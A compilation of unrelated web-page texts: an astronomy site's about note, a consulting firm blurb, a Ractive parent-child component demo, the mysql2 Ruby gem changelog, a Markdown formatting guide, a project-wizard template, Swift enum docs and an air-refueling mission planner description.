This whole website is updated every 10 minutes using cron+Python3, a single line of NumPy plus some celestial mechanics formulas, and should have an accuracy of ±1 degree. The goal was to create a minimal, fast and aesthetically pleasing result. I'm not much of a designer, but I'm pretty pleased with the first version of this site.
The plotting happens using Matplotlib. Most Matplotlib code and tutorials are unfortunately very confusing, but I think the source can serve as a guide to readable and maintainable plotting.
The world data is obtained from the wonderful Natural Earth datasets, and handled using GeoPandas.
Roadmap? Once I have some time, I want to :
• Learn more about the accuracy of astronomical formulas
• Offer some more astronomical data through this page and an API
• Provide some more illustrations about our beautiful planet and its moon
Paschalis, out!


Founded in Silicon Valley, California, Vimo Counsulting, Inc has extensive experience in developing, implementing, and supporting enterprise software applications. Vimo Counsulting is a software products and professional services company, continuously developing innovative technology solutions for its customers. The company's integrated products span research administration, compliance from funding to trials. Vimo Counsulting strives to be a valuable partner by offering ready-to-use software products and comprehensive professional services in cutting-edge technologies, backed by years of experience.
Vimo Counsulting offers a comprehensive portfolio of IT and IT-enabled services with a distinct focus on providing web application development, product engineering services, enterprise integration solutions and mobile-based custom applications.
At Vimo Counsulting, we realize that, choosing a right strategic associate in this competitive marketplace, who can value your ROI, is critical. With more than a decade of collective ingenious approach and technical proficiency, equipped with a wealth of knowledge & expertise, strengthened core support and values, Vimo Counsulting can foster any business concept into a world-class IT solution.


Instructions:
Use the BST Search algorith to find the key given in the excercise. Click on a node to reveal the value and its children.
Find


This demo shows how data flows from a parent component to the child and back up.
Let's see the example in action:
| Name | Age | Delete |
|---|
The parent component renders an array of persons in a table. Each person row is represented by a child component. The parent passes a person object to each child. See the snippet below how a person is mapped to the child. The child can then access properties on the person as \{{person.name}} etc.
The child renders the person and a remove button. When the remove button is clicked, the child fires an event that the parent can listen to.
The parent listens to the removePerson event and remove the given person:
let parent = new Ractive({
on: { 'child.removePerson': function ( ctx, person, index ) {
// Remove the person from the persons array
this.splice( "persons", index, 1 );
}
}
});


# Changelog
## 0.3.11 (December 6th, 2011)
- change mysql error detection strategy from using mysql_field_count to the more explicit mysql_errno
- bugfix to avoid race condition with active connections that error out
- revert back to using xmalloc/xfree for allocations
- avoid potentially unsafe Ruby C API usage w/o GVL
- reacquire GVL before retrying on EINTR on connect
## 0.3.10 (November 9th, 2011)
## 0.3.9 (November 9th, 2011)
## 0.3.8 (November 9th, 2011)
- remove fiber support from mysql2, the code has moved to the em-synchrony gem.
- use rb_wait_for_single_fd() if available
- fixed a bug with inheriting query options
- remove ext/ from the default loadpath
- fix build issues on OSX with Xcode 4.2 (gcc-llvm compiler)
## 0.3.7 (August 16th, 2011)
- ensure symbolized column names support encodings in 1.9
## 0.3.6 (June 17th, 2011)
- fix bug in Time/DateTime range detection
- (win32) fix bug where the Mysql2::Client object wasn’t cleaned up properly if interrupted during a query
- add Mysql2::Result#count (aliased as size) to get the row count for the dataset this can be especially helpful if you want to get the number of rows without having to inflate the entire dataset into ruby (since this happens lazily)
## 0.3.5 (June 15th, 2011)
- bug fix for Time/DateTime usage depending on 32/64bit Ruby
## 0.3.4 (June 15th, 2011)
- fix a long standing bug where a signal would interrupt rb_thread_select and put the connection in a permanently broken state
- turn on casting in the ActiveRecord again, users can disable it if they need to for performance reasons
## 0.3.3 (June 14th, 2011)
- disable async support, and access to the underlying file descriptor under Windows. It’s never worked reliably and ruby-core has a lot of work to do in order to make it possible.
- added support for turning eager-casting off. This is especially useful in ORMs that will lazily cast values upon access.
- added a warning if a 0.2.x release is being used with ActiveRecord 3.1 since both the 0.2.x releases and AR 3.1 have mysql2 adapters, we want you to use the one in AR 3.1
- added Mysql2::Client.escape (class-level method)
- disabled eager-casting in the bundled ActiveRecord adapter (for Rails 3.0 or less)
## 0.3.2 (April 26th, 2011)
- Fix typo in initialization for older ActiveRecord versions
## 0.3.1 (April 26th, 2011)
- Fix typo in initialization for older ActiveRecord versions
## 0.3.0 (April 26th, 2011)
- switch to MySQL Connector/C for win32 builds
- win32 bugfixes
- BREAKING CHANGE: the ActiveRecord adapter has been pulled into Rails 3.1 and is no longer part of the gem
- added Mysql2::Client.escape (class-level) for raw one-off non-encoding-aware escaping
## 0.2.18 (December 6th, 2011)
- change mysql error detection strategy from using mysql_field_count to the more explicit mysql_errno
- bugfix to avoid race condition with active connections that error out
- revert back to using xmalloc/xfree for allocations
- avoid potentially unsafe Ruby C API usage w/o GVL
- reacquire GVL before retrying on EINTR on connect
## 0.2.17 (November 9th, 2011)
## 0.2.16 (November 9th, 2011)
## 0.2.15 (November 9th, 2011)
## 0.2.14 (November 9th, 2011)
- use rb_wait_for_single_fd() if available
- fixed a bug with inheriting query options
- remove ext/ from the default loadpath
- fix build issues on OSX with Xcode 4.2 (gcc-llvm compiler)
## 0.2.13 (August 16th, 2011)
- fix stupid bug around symbol encoding support (thanks coderrr!)
## 0.2.12 (August 16th, 2011)
- ensure symbolized column names support encodings in 1.9
- plugging sql vulnerability in mysql2 adapter
## 0.2.11 (June 17th, 2011)
- fix bug in Time/DateTime range detection
- (win32) fix bug where the Mysql2::Client object wasn’t cleaned up properly if interrupted during a query
- add Mysql2::Result#count (aliased as size) to get the row count for the dataset this can be especially helpful if you want to get the number of rows without having to inflate the entire dataset into ruby (since this happens lazily)
## 0.2.10 (June 15th, 2011)
- bug fix for Time/DateTime usage depending on 32/64bit Ruby
## 0.2.9 (June 15th, 2011)
- fix a long standing bug where a signal would interrupt rb_thread_select and put the connection in a permanently broken state
- turn on casting in the ActiveRecord again, users can disable it if they need to for performance reasons
## 0.2.8 (June 14th, 2011)
- disable async support, and access to the underlying file descriptor under Windows. It’s never worked reliably and ruby-core has a lot of work to do in order to make it possible.
- added support for turning eager-casting off. This is especially useful in ORMs that will lazily cast values upon access.
- added a warning if a 0.2.x release is being used with ActiveRecord 3.1 since both the 0.2.x releases and AR 3.1 have mysql2 adapters, we want you to use the one in AR 3.1
- added Mysql2::Client.escape (class-level method)
- disabled eager-casting in the bundled ActiveRecord adapter (for Rails 3.0 or less)
## 0.2.7 (March 28th, 2011)
- various fixes for em_mysql2 and fiber usage
- use our own Mysql2IndexDefinition class for better compatibility across ActiveRecord versions
- ensure the query is a string earlier in the Mysql2::Client#query codepath for 1.9
- only set binary ruby encoding on fields that have a binary flag and encoding set
- a few various optimizations
- add support for :read_timeout to be set on a connection
- Fix to install with MariDB on Windows
- add fibered em connection without activerecord
- fix some 1.9.3 compilation warnings
- add LD_RUN_PATH when using hard coded mysql paths - this should help users with MySQL installed in non-standard locations
- for windows support, duplicate the socket from libmysql and create a temporary CRT fd
- fix for handling years before 1970 on Windows
- fixes to the Fiber adapter
- set wait_timeout maximum on Windows to 2147483
- update supported range for Time objects
- upon being required, make sure the libmysql we’re using is the one we were built against
- add Mysql2::Client#thread_id
- add Mysql2::Client#ping
- switch connection check in AR adapter to use Mysql2::Client#ping for efficiency
- prefer linking against thread-safe version of libmysqlclient
- define RSTRING_NOT_MODIFIED for an awesome rbx speed boost
- expose Mysql2::Client#encoding in 1.9, make sure we set the error message and sqlstate encodings accordingly
- do not segfault when raising for invalid charset (found in 1.9.3dev)
## 0.2.6 (October 19th, 2010)
- version bump since the 0.2.5 win32 binary gems were broken
## 0.2.5 (October 19th, 2010)
- fixes for easier Win32 binary gem deployment for targeting 1.8 and 1.9 in the same gem
- refactor of connection checks and management to avoid race conditions with the GC/threading to prevent the unexpected loss of connections
- update the default flags during connection
- add support for setting wait_timeout on AR adapter
- upgrade to rspec2
- bugfix for an edge case where the GC would clean up a Mysql2::Client object before the underlying MYSQL pointer had been initialized
- fix to CFLAGS to allow compilation on SPARC with sunstudio compiler - Anko
painting
## 0.2.4 (September 17th, 2010)
- a few patches for win32 support from Luis Lavena - thanks man!
- bugfix from Eric Wong to avoid a potential stack overflow during Mysql2::Client#escape
- added the ability to turn internal row caching on/off via the :cache_rows => true/false option
- a couple of small patches for rbx compatibility
- set IndexDefinition#length in AR adapter - Kouhei Yanagita
- fix a long-standing data corruption bug - thank you thank you thank you to @joedamato (github.com/ice799)
- bugfix from calling mysql_close on a closed/freed connection surfaced by the above fix
## 0.2.3 (August 20th, 2010)
- connection flags can now be passed to the constructor via the :flags key
- switch AR adapter connection over to use FOUND_ROWS option
- patch to ensure we use DateTime objects in place of Time for timestamps that are out of the supported range on 32bit platforms < 1.9.2
## 0.2.2 (August 19th, 2010)
- Change how AR adapter would send initial commands upon connecting
** we can make multiple session variable assignments in a single query
- fix signal handling when waiting on queries
- retry connect if interrupted by signals
## 0.2.1 (August 16th, 2010)
- bring mysql2 ActiveRecord adapter back into gem
## 0.2.0 (August 16th, 2010)
- switch back to letting libmysql manage all allocation/thread-state/freeing for the connection
- cache various numeric type conversions in hot-spots of the code for a little speed boost
- ActiveRecord adapter moved into Rails 3 core
** Don’t worry 2.3.x users! We’ll either release the adapter as a separate gem, or try to get it into 2.3.9
- Fix for the “closed MySQL connection” error (GH 31)
- Fix for the “can’t modify frozen object” error in 1.9.2 (GH 37)
- Introduce cascading query and result options (more info in README)
- Sequel adapter pulled into core (will be in the next release - 3.15.0 at the time of writing)
- add a safety check when attempting to send a query before a result has been fetched
## 0.1.9 (July 17th, 2010)
- Support async ActiveRecord access with fibers and EventMachine (mperham)
- string encoding support for 1.9, respecting Encoding.default_internal
- added support for rake-compiler (tenderlove)
- bugfixes for ActiveRecord driver
** one minor bugfix for TimeZone support ** fix the select_rows method to return what it should according to the docs (r-stu31)
- Mysql2::Client#fields method added - returns the array of field names from a resultset, as strings
- Sequel adapter
** bugfix regarding sybolized field names (Eric Wong) ** fix query logging in Sequel adapter
- Lots of nice code cleanup (tenderlove)
** Mysql2::Error definition moved to pure-Ruby ** Mysql2::client#initialize definition moved to pure-Ruby ** Mysql2::Result partially moved to pure-Ruby
## 0.1.8 (June 2nd, 2010)
- fixes for AR adapter for timezone juggling
- fixes to be able to run benchmarks and specs under 1.9.2
## 0.1.7 (May 22nd, 2010)
- fix a bug when using the disconnect! method on a closed connection in the AR driver
## 0.1.6 (May 14th, 2010)
- more fixes to the AR adapter related to casting
- add missing index creation override method to AR adapter
- added sql_state and error_number methods to the Mysql2::Error exception class
## 0.1.5 (May 12th, 2010)
- quite a few patches from Eric Wong related to thread-safety, non-blocking I/O and general cleanup
** wrap mysql_real_connect with rb_thread_blocking_region ** release GVL for possibly blocking mysql_* library calls ** [cleanup] quiet down warnings ** [cleanup] make all C symbols static ** add Mysql2::Client#close method ** correctly free the wrapped result in case of EOF ** Fix memory leak from the result wrapper struct itself ** make Mysql2::Client destructor safely non-blocking
- bug fixes for ActiveRecord adapter
** added casting for default values since they all come back from Mysql as strings (!?!) ** missing constant was added ** fixed a typo in the show_variable method
- switched over sscanf for date/time parsing in C
- made some specs a little finer-grained
- initial Sequel adapter added
- updated query benchmarks to reflect the difference between casting in C and in Ruby
## 0.1.4 (April 23rd, 2010)
- optimization: implemented a local cache for rows that are lazily created in ruby during iteration. The MySQL C result is freed as soon as all the results have been cached
- optimization: implemented a local cache for field names so every row reuses the same objects as field names/keys
- refactor the Mysql2 connection adapter for ActiveRecord to not extend the Mysql adapter - now being a free-standing connection adapter
## 0.1.3 (April 15th, 2010)
- added an EventMachine Deferrable API
- added an ActiveRecord connection adapter
** should be compatible with 2.3.5 and 3.0 (including Arel)
## 0.1.2 (April 9th, 2010)
- fix a bug (copy/paste fail) around checking for empty TIME values and returning nil (thanks @marius)
## 0.1.1 (April 6th, 2010)
- added affected_rows method (mysql_affected_rows)
- added last_id method (last_insert_id)
- enable reconnect option by default
- added initial async query support
- updated extconf (thanks to the mysqlplus project) for easier gem building
## 0.1.0 (April 6th, 2010)
- initial release


HTML Formatting
Paragraphs
Paragraphs in Markdown are separated with an empty line, for instance:
This is paragraph1.
This is in the same paragraph.
This is a new paragraph.
This is paragraph1. This is in the same paragraph.
This is a new paragraph.
Lists
Here is how to create lists and sublists:
* item 1
* subitem 1
* subsub item 1
* subitem 2
* subsub item 1
* subsub item 2
* item 3
- item 1
- subitem 1
- subsub item 1
- subitem 2
- subsub item 1
- subsub item 2
- subitem 1
- item 3
Links
This is [a link](http://en.wikipedia.org/wiki/HTML) example.
This is a link example.
Bold Text
**This line should appear bold.**
This line should appear bold.
Emphasize
Example of emphasize: *Emphasized expression*.
Example of emphasize: Emphasized expression.
Quotation
Here is an example of a quotation:
> There are only 10 types of people in the world:
> those who understand binary,
> and those who don't.
There are only 10 types of people in the world: those who understand binary, and those who don't.
Numeric Lists
List:
1. foo
2. bar
List:
- foo
- bar
Link by ID
This is [an example][id] of reference-style link.
[id]: http://en.wikipedia.org/wiki/Minions_%28film%29 "Title"
This is an example of reference-style link.
Literal Links
Creating a literal hyperlink:
<http://www.google.com>
Quick Images
A quick way to insert an image is this:
![Alt text](img/linuxlogo.png)
Code
Code example:
``for(int i=0;i < n;i++) { a[i] = 0.0}``
for(int i=0;i < n;i++) { a[i] = 0.0}
Pre-defined Format
This is pre defined format, just shift the lines by a tab:
[arman@bh8 ~]$ ls -ltr
drwxr-xr-x 3 arman choptuik 24576 Aug 31 17:27 BSSN_Axi_compact/
drwxr-xr-x 3 arman choptuik 20480 Aug 31 17:27 BSSN_Spher/
drwxr-xr-x 31 arman choptuik 4096 Sep 2 10:52 examples/
drwxr-xr-x 3 arman choptuik 4096 Sep 2 12:24 Downloads/
This is pre defined format, just shift the lines by a tab:
[arman@bh8 ~]$ ls -ltr
drwxr-xr-x 3 arman choptuik 24576 Aug 31 17:27 BSSN_Axi_compact/
drwxr-xr-x 3 arman choptuik 20480 Aug 31 17:27 BSSN_Spher/
drwxr-xr-x 31 arman choptuik 4096 Sep 2 10:52 examples/
drwxr-xr-x 3 arman choptuik 4096 Sep 2 12:24 Downloads/
Drawing Line
3 or more stars should create a line:
***
3 or more stars should create a line:
Differences with Markdown
I have changed the markdown script so that underscore _
does not
emphasize the text as it does originally in the Markdown syntax.
The reason is that markdown syntaxing applies to html files before latexing
that is a JavaScript, and underscore is used extensively in latex syntax.


We found a project already in progress called {{project[0].title}}, last saved on {{project[project.length - 1].last_saved | date: 'MMMM d, y @ h:mm a' }}. Would you like to resume that project or start a new one?
Welcome to the Project Wizard!
We'll walk you through the creation of your project. Information you enter will be saved after each step, so don't worry about losing your progress.
The first thing we need is a title. What's yours?
Next we need to know if this is a multipart project. That's a project with more than one section, like a book with chapters, or if your project is over the 5000 word limit and you need to break it up.
What should we call the first part? (Optional)
Now enter the text for your project. Keep in mind there's a 5000 word limit. Anything over that you'll need to break into a multipart (previous page).
Now enter the text for the first part of your project. You'll be able to add the other parts later. Keep in mind there's a 5000 word limit per part.
If readers need some context to understand your project, enter that here. Please be brief.
If readers need some context to understand the first part of your project, enter that here. Please be brief.
Only a few more steps to go!
In this step, tell us how to categorize your project. We'll start with a couple of questions.
1. What best describes your project?
2. Does your project contain adult content?
(explicit violence or sex, unsuitable for children)
3. Finally, pick categories from the list that describe your project. As many as you like, but be accurate. The better categorized your project the easier it will be for interested readers to discover it.
When readers critique your project, it's good to provide them with questions to help focus their feedback. Pick at least one question from the list below, or you may also write your own. Up to seven.
By default, projects are open to every registered user. If you'd like to make your project accessible by invitation only, check the box to mark it private.
Done at last. But wait, before clicking on the Finish button, please review the details of your project and click on any area that needs revision.
| Title | {{project[0].title}} |
| Multipart | {{project[1].multipart ? 'Yes' : 'No'}} : {{project[1].part_name}} |
| Text | ({{project[2].word_count}}) {{stripHtml(project[2].text.slice(0, 100))}}... |
| Context | {{project[3].context && stripHtml(project[3].context.slice(0, 50))}}... |
| Categories | {{[project[4].main_category, project[4].adult_category].concat(project[4].categories).join(', ')}} |
| Questions | {{project[5].questions.length}} |
| Private | {{project[6].private ? 'Yes' : 'No'}} |
Good luck to you!


NetworkConnection
public enum NetworkConnection
Describes how the device is currently connected to the internet.
-
The device has no connection to the internet.
Declaration
Swift
case noConnection
-
The device is connected to a WiFi network.
Declaration
Swift
case WiFi
-
The device is using cellular data (i.e. 4G, 3G, or 2G).
Declaration
Swift
case WWAN
-
Raw string representation of the
NetworkConnection
.Declaration
Swift
public var description: String


A New Planning Paradigm for Air Refueling
AROPS Mission Planner is a software application designed to compute optimal mission profiles for both receiver and tanker aircraft when air refueling is required to complete the mission. AROPS Mission Planner also computes the optimal location for air refueling events to occur, selecting tanker aircraft from the optimal tanker base (based on available tankers as entered by the user) for the planned air refueling waypoint. The objective of the optimization is minimization of total overall Mission Cost. The receiver route is optimized by an A* route search algorithm and AROPS is able to plan air refueling events at any location (random route refueling) versus planning solely with fixed refueling tracks.